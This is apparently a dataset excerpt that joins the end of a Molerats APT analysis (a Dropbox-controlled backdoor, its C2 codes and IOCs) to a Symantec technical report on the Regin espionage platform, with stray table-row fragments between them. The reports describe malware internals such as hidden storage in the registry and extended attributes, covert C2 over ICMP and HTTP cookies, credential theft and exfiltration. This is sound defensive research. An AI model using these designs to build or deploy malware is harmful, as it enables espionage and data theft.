Substitution (Substitute with 1) 4.
String reverse Next the backdoor sends following network requests in the specified sequence using the Dropbox API and correspondingly performs any required operations: 1.
Create Folder: 8/22 Create a folder inside the root directory where the folder name is the value of UserInfo variable Note: The created folder acts as a unique identifier for a machine considering the fact that the machine IP remains static.
2.
Create File: Create a file inside the newly created folder where the file name is the Machine IP and the data it stores is the information collected in Step-1 of the main function.
3.
List Content: List the content of victim specific folder and delete files where the file name length is 15 4.
List Content: List the content of root directory (which is attacker controlled) and extract the following information: a) File name of any hosted RAR archive b) File name of any hosted exe (Which is found to be the legitimate RAR command-line utility and is used to extract the downloaded RAR archive in case the machine doesnt already have any RAR archive supporting application) c) File name of any hosted pdf or doc file (Used as decoy document) d) File name of any non specific file type (Based on our analysis it contains the secondary Dropbox account token that is used for file exfiltration from victim machine) Note: The above extracted information is stored locally and is used wherever required.
Finally, if the backdoor executed for the first time, it downloads and opens the hosted pdf or doc file and then calls two other functions where the first function creates a thread that continuously communicates with the Dropbox account to fetch and execute the C2 commands while the second function creates a thread that downloads and executes the RAR archive using the information extracted earlier.
[]
C2 Commands The backdoor creates a file inside the victim specific folder on Dropbox which is used to fetch C2 commands.
The file name is a random string of 15 characters.
The C2 commands have following format: [command code][Command arguments separated using ] 9/22 The backdoor uses command codes instead of plaintext strings to determine the action to be performed.
Table below summarizes the supported command codes: Command code Action performed 1 Run specified command 2 Take snapshot and upload 3 Send list of files from specified directories 4 Upload files 5 Download and execute the RAR archive C2 infrastructure analysis While monitoring the IPs used during the current attack we observed the domain msupdata.com started to resolve to the IP 45.63.49[.
]202 from 27-12-2021.
We found two Historical SSL Certificates associated with this domain.
Pivoting on the SSL Certificate with thumbprint ec5e468fbf2483cab74d13e5ff6791522fa1081b we found domains like sognostudio.com, smartweb9.com and others which were all attributed to Molerats APT group during past attacks.
Additionally, the subdomain www.msupdata.com also has a Passive DNS resolution to IP 185.244.39[.
]165 which is also associated with Molerats APT group in the past.
Note: We didnt observe any activity related to the domain msupdata.com or its subdomain www.msupdata.com until this blog release.
Pivot on the Dropbox accounts Based on our analysis at least five Dropbox accounts are being used by the attacker.
While investigating the Dropbox accounts we found that the attacker used following information during account registration.
Note: Dropbox has confirmed the takedown of these accounts associated with the Molerats APT group.
Account 1: 10/22 Name: Adham gherbawi Country: NL (Netherlands) Email: adham.gharbawigmail[.
]com Account 2: Name: alwatan voice Country: NL (Netherlands) Email: alwatanvoiceofficegmail[.
]com Account 3: Name: adham gharbawi Country: NL (Netherlands) Email: adham.ghar.bawigmail[.
]com Account 4: Name: pal leae Country: PS (Palestine) Email: palinfoarabicgmail[.
]com Account 5: Name: pla inod Country: PS (Palestine) Email: palinfo.arabicgmail[.
]com Also, while analyzing the exfiltrated data from Dropbox accounts we found a screenshot of the attacker machine which was likely uploaded while the attacker was testing the malware.
We correlated a number of artifacts and patterns with the file names visible from the snapshot to those used during the real attack.
Moreover, from the snapshot the attacker seems to be using a simple GUI application to sync with the Dropbox account and display the victims list.
In the victims list, the user name mijda is also present which matches with the name of document creator mij daf for all the documents we found during this attack.
Figure 8: Screenshot of attacker machine Additionally, we discovered that the attacker machine was configured with the IP 185.244.39[.
]105 which is located in the Netherlands and is associated with the VPS service provider SKB Enterprise B.V.. Interestingly, this IP (185.244.39[.
]105) is also located in the same subnet as the IP 185.244.39[.
]165 which was used for C2 communication and domain hosting in the past by Molerats APT group.
11/22 Pivot on Google drive link Since the attacker also used Google Drive to host the payload in one of the attack chains, we tried to identify the associated Gmail account.
Based on our analysis the attacker used following information for Gmail account: Account name: Faten Issa Email: issafaten584gmail[.
]com Old attack chain As per our analysis the old attack chain was used from 13th July 2021(Start of campaign) to 13th Dec 2021.
Figure 9 below illustrates the old attack chain.
Figure 9: Attack chain The major difference between the new attack chain and the old attack chain is seen in the backdoor delivery.
Although we are not sure how these RAR/ZIP files were delivered but considering the past attacks they were likely delivered using Phishing PDFs.
Additionally, we found a minor variation in the way the backdoor extracted the primary Dropbox account token.
In the old attack chain the backdoor fetched the encoded string containing the 12/22 primary Dropbox account token from attacker-hosted content on justpaste.it.
Figure 10 below shows the attacker-hosted encoded string that contains the Dropbox account token and also describes the corresponding format.
Figure 10: Attacker-hosted encoded string Zscaler Sandbox Detection [] Detection of the macro-based Document [] Detection of the macro-based PowerPoint file [] Detection of the payload In addition to sandbox detections, Zscalers multilayered cloud security platform detects indicators related to Molerats APT group at various levels.
13/22 Win32.Trojan.
|
176
|
MoleratsAPT PDF.Trojan.
| 37,245
| 37,394
| 150
|
data/reports_final/0176.txt
|
MoleratsAPT PDF.Trojan.
MoleRatsAPT 14/22 MITRE ATTCK TTP Mapping ID Tactic Technique T1566.001 Spear phishing Attachment Uses doc based attachments with VBA macro T1204.002 User Execution: Malicious File User opens the document file and enables the VBA macro T1059.001 Command and Scripting interpreter: PowerShell VBA macro launches PowerShell to download and execute the payload T1140 Deobfuscate/Decode Files or Information Strings and other data are obfuscated in the payload T1082 System Information Discovery Sends processor architecture and computer name T1083 File and Directory Discovery Upload file from the victim machine 15/22 T1005 Data from Local System Upload file from victim machine T1567.002 Exfiltration to Cloud Storage Data is uploaded to Dropbox via api T1113 Screen capture The C2 command code 2 corresponds to taking a screenshot and uploading to attacker-controlled Dropbox account Indicators of compromise [] Hashes MD5 File Name Description 46e03f21a95afa321b88e44e7e399ec3 15-12.doc Document 5c87b653db4cc731651526f9f0d52dbb 11-12.docx Document 105885d14653932ff6b155d0ed64f926 report2.dotm Template 601107fc8fef440defd922f00589e2e9 4-1.doc Document 9939bf80b7bc586776e45e848ec41946 19-12.pptm PPT 054e18a1aab1249f06a4f3e661e3f38a pptm.
PPT e72d18b78362e068d0f3afa040df6a4c wanted persons.ppt PPT ebc98d9c96065c8f1c0f4ce445bf507b servicehost.exe Exe (Confuser packed) c7271b91d190a730864cd149414e8c43 su.exe Exe (Themida packed) 16/22 00d7f155f1a9b29be2c872c6cad40026 servicehost.exe Exe (Confuser packed) 2dc3ef988adca0ed20650c45735d4160 cairo hamas office.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) b9ad53066ab218e40d61b299bd2175ba details.rar RAR f054f1ccc2885b45a71a1bcd0dd711be exe.
Exe (Themida packed) b7373b976bbdc5356bb89e2cba1540cb emergency.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
2021-09-16 Exe (Confuser packed) 8884b0d29a15c1b6244a6a9ae69afa16 excelservice.rar RAR 270ee9d4d22ca039539c00565b20d2e7 idf.rar RAR 8debf9b41ec41b9ff493d5668edbb922 Ministry of the Interior statement 26-9-2021.exe Exe (Themida packed) d56a4865836961b592bf4a7addf7a414 images.rar RAR a52f1574e4ee4483479e9356f96ee5e3 100 exe.
Exe (Confuser packed) 59368e712e0ac681060780e9caa672a6 meeting.rar RAR 17/22 a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 99fed519715b3de0af954740a2f4d183 ministry of the interior 23-9- 2021.rar RAR 8debf9b41ec41b9ff493d5668edbb922 Ministry of the Interior statement 23-9-2021.exe Exe (Themida packed) bd14674edb9634daf221606f395b1e1d moi.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 04d17caf8be87e68c266c34c5bd99f48 namso.rar RAR c7271b91d190a730864cd149414e8c43 namso.exe Exe (Themida packed) 217943eb23563fa3fff766c5ec538fa4 rafah passengers.rar RAR a52f1574e4ee4483479e9356f96ee5e3 .exe Exe (Confuser packed) fef0ec9054b8eff678d3556ec38764a6 sa.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 32cc7dd93598684010f985d1f1cea7fd shahid.rar RAR a52f1574e4ee4483479e9356f96ee5e3 100 exe.
Exe (Confuser packed) 18/22 1dc3711272f8e9a6876a7bccbfd687a8 sudan details.rar RAR f054f1ccc2885b45a71a1bcd0dd711be exe.
Exe (Themida packed) da1d640dfcb2cd3e0ab317aa1e89b22a tawjihiexam.rar RAR 31d07f99c865ffe1ec14c4afa98208ad Israel-Hamas Prisoner Exchange Progress.exe Exe (Confuser packed) b5e0eb9ca066f5d97752edd78e2d35e7 rar.
RAR a52f1574e4ee4483479e9356f96ee5e3 - exe.
Exe (Confuser packed) b65d62fcb1e8f7f06017f5f9d65e30e3 rar.
RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 933ffc08bcf8152f4b2eeb173b4a1e26 israelian attacks.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 Israelians Attacks during the years 2020 to 2021.exe Exe (Confuser packed) 1478906992cb2a8ddd42541654e9f1ac patient satisfaction survey.zip ZIP 31d07f99c865ffe1ec14c4afa98208ad Patient Satisfaction Survey Patient Satisfaction Survey.exe Exe (Confuser packed) 33b4238e283b4f6100344f9d73fcc9ba zip.
ZIP 19/22 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) 1f8178f9d82ac6045b6c7429f363d1c5 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) c7d19e496bcd81c4d16278a398864d60 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) 1bae258e219c69bb48c46b5a5b7865f4 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) 547334e75ed7d4eea2953675b07986b4 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 - exe.
Exe (Confuser packed) [] Download URLs Component URL Template https://drive.google[.
]com/uc?exportdownloadid1xwb99Q7duf6q7a- 7be44pCk3dU9KwXam 20/22 Component URL Exe http://45.63.49[.
]202/document.html http://23.94.218[.
]221/excelservice.html http://45.63.49[.
]202/doc.html http://45.63.49[.
]202/gabha.html [] Molerats associated IPs 45.63.49[.
]202 23.94.218[.
]221 185.244.39[.
]165 [] Molerats associated domains msupdata[.
]com www.msupdate[.
]com Spark backdoor bundanesia[.
]com [] File system artifacts Dropped binary C:\ProgramData\servicehost.exe current_working_directory\su.exe Appendix MD5: 5c87b653db4cc731651526f9f0d52dbb MD5: 105885d14653932ff6b155d0ed64f926 MD5: e72d18b78362e068d0f3afa040df6a4c 21/22 22/22
SECURITY RESPONSE Regin is an extremely complex piece of software that can be customized with a wide range of different capabilities that can be deployed depending on the target.
Regin: Top-tier espionage tool enables stealthy surveillance Symantec Security Response Version 1.0 November 24, 2014 Regin: Top-tier espionage tool enables stealthy surveillance CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Timeline ......................................................................... 5 Target profile ................................................................. 6 Infection vector ....................................................... 6 Architecture .................................................................. 8 Stage 0 (dropper) .................................................... 9 Stage 1 ..................................................................... 9 Stage 2 ..................................................................... 9 Stage 3 ..................................................................... 9 Stage 4 ........................................................... 11 Stage 5 ................................................................... 11 Encrypted virtual file system containers .............. 11 Command-and-control operations ........................ 12 Logging .................................................................. 12 Payloads ...................................................................... 14 64-bit version .............................................................. 15 File names ............................................................. 15 Stage differences .................................................. 15 Conclusion ................................................................... 16 Protection .................................................................... 16 Appendix ..................................................................... 18 Data files ............................................................... 18 Indicators of compromise ........................................... 20 File MD5s ............................................................... 20 File names/paths ................................................... 20 Extended attributes .............................................. 21 Registry ................................................................. 21 In the world of malware threats, only a few rare examples can truly be considered groundbreaking and almost peerless.
What we have seen in Regin is just such a class of malware.
Regin is an extremely complex piece of software that can be customized with a wide range of different capabilities which can be deployed depending on the target.
It is built on a framework that is designed to sustain long-term intelligence-gathering operations by remaining under the radar.
It goes to extraordinary lengths to conceal itself and its activities on compromised computers.
Its stealth combines many of the most advanced techniques that we have ever seen in use.
The main purpose of Regin is intelligence gathering and it has been implicated in data collection operations against government organizations, infrastructure operators, businesses, academics, and private individuals.
The level of sophistication and complexity of Regin suggests that the development of this threat could have taken well-resourced teams of developers many months or years to develop and maintain.
Regin is a multi-staged, modular threat, meaning that it has a number of components, each depending on others, to perform attack operations.
This modular approach gives flexibility to the threat operators as they can load custom features tailored to individual targets when required.
Some custom payloads are very advanced and exhibit a high degree of expertise in specialist sectors.
The modular design also makes analysis of the threat difficult, as all components must be available in order to fully understand it.
This modular approach has been seen in other sophisticated malware families such as Flamer and Weevil (The Mask), while the multi-stage loading architecture is similar to that seen in the Duqu/Stuxnet family of threats.
Regin is different to what are commonly referred to as traditional advanced persistent threats (APTs), both in its techniques and ultimate purpose.
APTs typically seek specific information, usually intellectual property.
Regins purpose is different.
It is used for the collection of data and continuous monitoring of targeted organizations or individuals.
This report provides a technical analysis of Regin based on a number of identified samples and components.
This analysis illustrates Regins architecture and the many payloads at its disposal.
OVERVIEW http://www.symantec.com/security_response/writeup.jsp?docid2012-052811-0308-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-021016-4132-99 http://www.symantec.com/security_response/writeup.jsp?docid2011-101814-1119-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-071400-3123-99tabid2 Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data.
INTRODUCTION Page 5 Regin: Top-tier espionage tool enables stealthy surveillance Introduction Regin is a multi-purpose data collection tool which dates back several years.
Symantec first began looking into this threat in the fall of 2013.
Multiple versions of Regin were found in the wild, targeting several corporations, institutions, academics, and individuals.
Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data.
It also has the ability to load custom features tailored to individual targets.
Some of Regins custom payloads point to a high level of specialist knowledge in particular sectors, such as telecoms infrastructure software, on the part of the developers.
Regin is capable of installing a large number of additional payloads, some highly customized for the targeted computer.
The threats standard capabilities include several remote access Trojan (RAT) features, such as capturing screenshots and taking control of the mouses point-and-click functions.
Regin is also configured to steal passwords, monitor network traffic, and gather information on processes and memory utilization.
It can also scan for deleted files on an infected computer and retrieve them.
More advanced payload modules designed with specific goals in mind were also found in our investigations.
For example, one module was designed to monitor network traffic to Microsoft Internet Information Services (IIS) web servers, another was designed to collect administration traffic for mobile telephony base station controllers, while another was created specifically for parsing mail from Exchange databases.
Regin goes to some lengths to hide the data it is stealing.
Valuable target data is often not written to disk.
In some cases, Symantec was only able to retrieve the threat samples but not the files containing stolen data.
Timeline Symantec is aware of two distinct versions of Regin.
Version 1.0 appears to have been used from at least 2008 to 2011.
Version 2.0 has been used from 2013 onwards, though it may have possibly been used earlier.
Version 1.0 appears to have been abruptly withdrawn from circulation in 2011.
Version 1.0 samples found after this date seem to have been improperly removed or were no longer accessible to the attackers for removal.
This report is based primarily on our analysis of Regin version 1.0.
We also touch on version 2.0, for which we only recovered 64-bit files.
Symantec has assigned these version identifiers as they are the only two versions that have been acquired.
Regin likely has more than two versions.
There may be versions prior to 1.0 and versions between 1.0 and 2.0.
Page 6 Regin: Top-tier espionage tool enables stealthy surveillance Target profile The Regin operators do not appear to focus on any specific industry sector.
Regin infections have been observed in a variety of organizations, including private companies, government entities, and research institutes.
Infections are also geographically diverse, having been identified mainly in 10 different regions.
Infection vector The infection vector varies among targets.
A reproducible infection vector is unconfirmed at time of writing.
Targets may be tricked into visiting spoofed versions of well- known websites and the threat may be installed through a web browser or by exploiting an application.
On one computer, log files show that Regin originated from Yahoo Instant Messenger through an unconfirmed exploit.
Figure 1.
Confirmed Regin infections by sector Figure 2.
Confirmed Regin infections by country The initial Stage 1 driver is the only plainly visible code on the computer.
All other stages are stored as encrypted data blobs...
ARCHITECTURE Page 8 Regin: Top-tier espionage tool enables stealthy surveillance Architecture Regin has a six-stage architecture.
The initial stages involve the installation and configuration of the threats internal services.
The later stages bring Regins main payloads into play.
This section presents a brief overview of the format and purpose of each stage.
The most interesting stages are the executables and data files stored in Stages 4 and 5.
The initial Stage 1 driver is the only plainly visible code on the computer.
All other stages are stored as encrypted data blobs, as a file or within a non-traditional file storage area such as the registry, extended attributes, or raw sectors at the end of disk.
Table 1.
The six stages of Regin Stages Components Stage 0 Dropper.
Installs Regin onto the target computer Stage 1 Loads driver Stage 2 Loads driver Stage 3 Loads compression, encryption, networking, and han- dling for an encrypted virtual file system (EVFS).
Stage 4 Utilizes the EVFS and loads additional kernel mode drivers, including payloads.
Stage 5 Main payloads and data files Figure 3.
Regins architecture Page 9 Regin: Top-tier espionage tool enables stealthy surveillance Stage 0 (dropper) Symantec Security Response has not obtained the Regin dropper at the time of writing.
Symantec believes that once the dropper is executed on the targets computer, it will install and execute Stage 1.
Its likely that Stage 0 is responsible for setting up various extended attributes and/or registry keys and values that hold encoded versions of stages 2, 3, and potentially stages 4 and onwards.
The dropper could be transient rather than acting as an executable file and may possibly be part of the infection vector exploit code.
Stage 1 Stage 1 is the initial load point for the threat.
There are two known Stage 1 file names: usbclass.sys (version 1.0) adpu160.sys (version 2.0) These are kernel drivers that load and execute Stage 2.
These kernel drivers may be registered as a system service or may have an associated registry key to load the driver while the computer is starting up.
Stage 1 simply reads and executes Stage 2 from a set of NTFS extended attributes.
If no extended attributes are found, Stage 2 is executed from a set of registry keys.
Stage 2 Stage 2 is a kernel driver that simply extracts, installs and runs Stage 3.
Stage 2 is not stored in the traditional file system, but is encrypted within an extended attribute or a registry key blob.
Stage 2 can be found encrypted in: Extended attribute Windir Windir\fonts Windir\cursors (possibly only in version 2.0) Registry subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA58 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase (possibly only in version 2.0) This stage can also hide running instances of Stage 1.
Once this happens, there are no remaining plainly visible code artifacts.
Similar to previous stages, Stage 2 finds and loads an encrypted version of Stage 3 from either NTFS extended attributes or a registry key blob.
Stage 2 can also monitor the state of the threat.
This stage drops the file msrdc64.dat, which appears to always be 512 bytes in size.
The first two bytes are used and the remaining bytes are set to zero.
The second byte indicates the exclusive maximum number of instances allowed to run, which is set to two.
This means no more than one instance should run at any time.
The first byte indicates how many instances were run or attempted to run.
Therefore, the potential combinations for the first two bytes are: 00 02 (the threat is not running) 01 02 (the threat is running) 02 02 (the threat was running and a second instance has started).
Stage 3 Stage 3 is a kernel mode DLL and is not stored in the traditional file system.
Instead, this file is encrypted within an extended attribute or registry key blob.
Page 10 Regin: Top-tier espionage tool enables stealthy surveillance Stage 3 can be found in the following locations: Extended attribute Windir\system32 Windir\system32\drivers Registry subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA5A The file is six to seven times the size of the driver in Stage 2.
In addition to loading and executing Stage 4, Stage 3 offers a framework for the higher level stages.
Stages 3 and above are based on a modular framework of code modules.
These modules offer functions through a private, custom interface.
Each file in stages 3 and above can export functionality to other parts of Regin.
In the case of Stage 3, the following primitives are offered: The orchestrator, which parses custom records found in the appended data of the executable files for stages 3 and above.
These records contain a list of Regin functionalities to be executed.
A record starts with the number 0xD912FEAB (little-endian ordering) Compression and decompression routines Encryption and decryption routines Routines to retrieve storage locations of higher-level (Stage 4) components Routines to handle an encrypted virtual file system used by Stage 4 Network primitives These primitives are provided through a custom export methodology.
Export methodology The Stage 3 DLL exports a wide range of functionality through a custom export methodology.
The interface used to export functionality does not make use of the traditional Windows DLL export mechanism by name or ordinal.
Exported Regin methods are referenced by a tuple consisting of a major and minor number.
Stage 3 exports hundreds of methods, organized into 12 different major groups.
The numbers used vary across versions.
We acquired artifacts using two different numbering schemes.
Table 2 is an example listing.
With Regins modular nature, Stage 4 kernel modules and Stage 5 user modules (payloads) can provide functionality and export routines using the same major and minor numbering scheme.
Table 2.
An example of Regins methods organized into 12 groups Major Functionality 0001h Core 000Dh Compression, decompression 000Fh Encryption, decryption 003Dh EVFS handling 0007h Container management 000Bh Log management 0033h Loader 0011h Network 0013h Network C373h TCP command-and-control (CC) 0019h UDP CC 0009h CC Processor Page 11 Regin: Top-tier espionage tool enables stealthy surveillance Stage 4 The files for Stage 4, which are loaded by Stage 3, consist of a user-mode orchestrator and multiple kernel payload modules.
They are stored in two EVFS containers as files: System\config\SystemAudit.
Evt: Contains Stage 4 kernel drivers, which constitute the kernel mode part of Regins payload.
System\config\SecurityAudit.
|
177
|
Evt: Contains a user mode version of Stage 3.
| 37,395
| 37,473
| 79
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data/reports_final/0177.txt
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Evt: Contains a user mode version of Stage 3.
The files are injected into services.exe.
When the attackers who operated Regin cleaned up compromised computers once they were finished with them, they often failed to remove Stage 4 and 5 artifacts from the system.
Stage 4 also uses the same export methodology described in Stage 3.
Stage 5 Stage 5 consists of the main Regin payload functionality.
The files for Stage 5 are injected into services.exe by Stage 4.
Stage 5 files are EVFS containers containing other files: System\config\SystemLog.evt: Contains Stage 5 user mode DLLs.
They constitute Regins payload.
System\config\SecurityLog.evt: Contains Stage 5 data files, used by the Stage 4 and 5 components to store various data items System\config\ApplicationLog.evt: Another Stage 5 log container, which is referenced by Stage 5 data files Windir\ime\imesc5\dicts\pintlgbp.imd (version 2.0) Windir\ime\imesc5\dicts\pintlgbs.imd (version 2.0) Regins payload involves the DLLs contained in the SystemLog.evt EVFS container.
The payload functionality differs depending on the targeted computer.
Custom payload files will likely be delivered for each specific environment.
Example payload functionality seen to date includes: Sniffing low-level network traffic Exfiltrating data through various channels (TCP, UDP, ICMP, HTTP) Gathering computer information Stealing passwords Gathering process and memory information Crawling through the file system Low level forensics capabilities (for example, retrieving files that were deleted) UI manipulation (remote mouse point click activities, capturing screenshots, etc.)
Enumerating IIS web servers and stealing logs Sniffing GSM BSC administration network traffic Encrypted virtual file system containers Regin stores data files and payloads on disk in encrypted virtual file system files.
Such files are accessed by the major routines 3Dh.
Files stored inside EVFS containers are encrypted with a variant of RC5, using 64-bit blocks and 20 rounds.
The encryption mode is reverse cipher feedback (CFB).
Known extensions for EVFS containers are .evt and .imd.
The structure of a container is similar to the FAT file system.
One major difference is that files do not have a name instead, theyre identified using a binary tag.
The tag itself is the Figure 4.
Physical layout of an EVFS container Page 12 Regin: Top-tier espionage tool enables stealthy surveillance concatenation of a major number and a minor number.
The major number typically indicates the major function group that will handle the file.
A container starts with the header in Table 3 (little-endian ordering).
The header is followed by the file entry table (Table 4).
Each file entry is 13htaglen bytes long.
The sectors follow (Table 5).
A sector of sectsize bytes starts with a DWORD pointing to the next sector (if the file does not fit within a single sector), followed by sectsize-4 bytes of payload data.
As explained above, the files are encrypted.
Other layers of encryption and compression may also be in place, although those would be handled by higher level components.
Command-and-control operations Regins CC operations are extensive.
These backchannel operations are bidirectional, which means either the attackers can initiate communications with compromised computers on the border network or the compromised computers can initiate communications with the attacker.
Furthermore, compromised computers can serve as a proxy for other infections and command and control can also happen in a peer-to-peer fashion.
All communications are strongly encrypted and can happen in a two-stage fashion where the attacker may contact a compromised computer using one channel to instruct it to begin communications on a different channel.
Four transport protocols are available for CC: ICMP: Payload information can be encoded and embedded in lieu of legitimate ICMP/ping data.
The string shit is scattered in the packet for data validation.
In addition, CRC checks use the seed 31337.
UDP: Raw UDP payload TCP: Raw TCP payload HTTP: Payload information can be encoded and embedded within cookie data under the names SESSID, SMSWAP, TW, WINKER, TIMESET, LASTVISIT, AST.NET_SessionId, PHPSESSID, or phpAds_d.
This information can be combined with another cookie for validation under the names USERIDTK, UID, GRID, UIDPREFID, TM, __utma, LM, TMARK, VERSION, or CURRENT The CC operations are undertaken by various modules, including major groups C373h, 19h, 9, as well as Stage 5 payloads, such as C375h and 1Bh.
Logging Regin logs data to the ApplicationLog.dat file.
This file is not an encrypted container, but it is encrypted and compressed.
Table 4.
The containers file entry table Offset Type Description 00h DWORD CRC 04h DWORD File offset 08h DWORD Offset to first sector holding the file data 0Ch BYTE[taglen] File tag Table 5.
The containers sectors Offset Type Description 00h DWORD Next sector offset, or 0 04h BYTE[sectsize-4] Data Table 3.
The containers header Offset Type Description 00h WORD Sector size in bytes 02h WORD Maximum sector count 04h WORD Maximum file count 06h BYTE File tag length (taglen) 07h DWORD Header CRC 0Bh DWORD File table CRC 0Fh WORD Number of files 11h WORD Number of sectors in use 13h - Sector-use bitmap The extensible nature of Regin and its custom payloads indicate that many payloads are likely to exist in order to enhance Regins capabilities... PAYLOADS Page 14 Regin: Top-tier espionage tool enables stealthy surveillance Payloads Regin can be distributed with various payload modules or receive payload modules after infection.
The extensible nature of Regin and its custom payloads indicate that many additional payloads are likely to exist in order to enhance Regins capabilities.
Furthermore, we have found data files accompanying payload modules that have not been recovered.
The following table describes the Stage 4 kernel payload modules and Stage 5 user mode payload modules, which we have seen several variants of Regin use.
Table 6.
Regins stage 4 kernel payload modules and stage 5 user mode payload modules File type Major Description SYS 0003 Driver SYS C433 Rootkit SYS C42B PE loader SYS C42D DLL injection SYS C3C3 Network packet filter driver similar to the WinPCap (protocol filter version 3.5) Used to set TCP and UDP pass-through filters and to bypass firewalls.
Executes BPF (Berkeley Packet Filter) bytecode, stored in Stage 5 data files.
SYS 4E69 Network port blocker DLL C363 Network packet capture DLL 4E3B Retrieve proxy information for a web browser (Internet Explorer, Netscape, Firefox) through registry or configu- ration files (for example, prefs.js, refs.js, etc.)
Enumerate sessions and user accounts DLL 290B Password stealer Windows Explorer credentials Windows Explorer pstore records Internet Explorer LegacySettings Data for a Winlogon notification package named cryptpp DLL C375 CC HTTP/cookies DLL C383 SSL communications DLL C361 Supporting cryptography functions DLL 001B ICMP backchannel DLL C399 Record builder for ApplicationLog.
Evt DLL C39F Processes file: Temp\b3y7f.tmp DLL C3A1 Miscellaneous functions DLL 28A5 Miscellaneous functions DLL C3C1 Miscellaneous functions DLL C3B5 Gather system information CPUMemory Drives and shares Devices Windows information (including type, version, license info, owner info) Installed software Running processes (through HKEY_PERFORMANCE_DATA id 230) Services Schedules tasks and jobs Running desktop sessions User accounts information Systems auditing rules/policy System time and Windows install time Page 15 Regin: Top-tier espionage tool enables stealthy surveillance The IIS web server log stealing module, 27E9h, is an example of a payload module that was installed after the initial infection and was specifically deployed for a particular target.
64-bit version Only a small amount of the 64-bit Regin files have been recovered.
These samples may represent version 2.0 or their differences may possibly be solely specific to 64-bit versions of Regin.
We also recovered files from infected computers that may or may not be associated with 64-bit Regin, including several variants of svcsstat.exe, a file that aims to retrieve binary data over pipes or sockets and execute the data.
File names The recovered files do not appear to fundamentally vary from their 32-bit counterparts, apart from a few noteworthy differences.
The 32-bit and 64-bit versions of Regin use different file names.
These differences are shown in the first section of this paper as well as in the appendix.
Most importantly, in the 64-bit version of Regin, the names of containers are changed: PINTLGBP.IMD replaces SystemLog.
Evt PINTLGBPS.IMD replaces SecurityLog.
Evt Stage differences The 64-bit version of Regins Stage 1 (wshnetc.dll) is no longer a kernel mode driver, as drivers under 64-bit Windows must be signed.
Instead, Stage 1 is a user mode DLL loaded as a Winsock helper when the computer is starting up.
Rather than loading Stage 2 from an NTFS extended attribute, Stage 1 looks for the last partition (in terms of DLL C36B UI manipulation Capture screenshots Log keystrokes Lock the workstation/input Ctrl-Alt-Del Click functionality (through three commands: go, click release, return to original position) End processes DLL C351 File system exploration primitives and forensic level exploration including a raw NTFS parser Get miscellaneous file information and properties Browse directories Read and write files Move and copy files Read and recover partially or fully deleted files Compute file hashes DLL 2B5D Process and module manipulation Read processes and modules Processes running times, quotas, privileges Skip Russian or English Microsoft files when scanning Check for newly introduced PE files in the last two days DLL C3CD Enumerate TCP/IP interfaces from System\CurrentControlSet\Services\Tcpip\Linkage\bind DLL C38F TCPDump utility DLL C3C5 Libnet binary DLL 27E9 IIS web server log theft Enumeration through COM objects to find IIS logs.
Ability to retrieve partial or complete log information.
Partial: Log type, last log, older log timestamps Complete: Entire log data is exfiltrated Page 16 Regin: Top-tier espionage tool enables stealthy surveillance physical location) on disk and searches for the payload in the raw sectors in this area of the disk.
The 64-bit Regins Stage 3 has not been recovered.
We believe that it may not exist, as the 32-bit version is a driver.
Stage 4 is an orchestrator just like its 32-bit counterpart and it uses the same major and minor values to export functionality.
Stage 5 uses the following filenames: Windir\IME\IMESC5\DICTS\PINTLGBP.IMD contains Stage 5 user payloads, replacing SystemLog.
Evt in the 32-bit version Windir\IME\IMESC5\DICTS\PINTLGBS.IMD contains Stage 5 data files, replacing SecurityLog.
Evt in the 32-bit version The equivalent files for SystemAudit.
Evt and SecurityAudit.
Evt were not recovered No Stage 5 payload modules have been recovered.
Conclusion Regin is a highly-complex threat which has been used for large-scale data collection or intelligence gathering campaigns.
The development and operation of this threat would have required a significant investment of time and resources.
Threats of this nature are rare and are only comparable to the Stuxnet/Duqu family of malware.
The discovery of Regin serves to highlight how significant investments continue to be made into the development of tools for use in intelligence gathering.
Many components of Regin have still gone undiscovered and additional functionality and versions may exist.
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178
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Protection Symantec and Norton products detect this threat as Backdoor.
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data/reports_final/0178.txt
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Protection Symantec and Norton products detect this threat as Backdoor.
Regin.
http://www.symantec.com/security_response/writeup.jsp?docid2013-121221-3645-99 APPENDIX Page 18 Regin: Top-tier espionage tool enables stealthy surveillance Appendix Data files Regins data files are classified as Stage 5 components and are contained in an EVFS container.
Table 7.
Data files used by Stage 4s framework DLL Major Minor Description 0001 - - 000D - - 000F 01 High-entropy blobs, cryptographic data 02 High-entropy blobs, cryptographic data 003D - - 0007 - - 000B 01 Contains a path to the log file.
Typically, System\config\ApplicationLog.
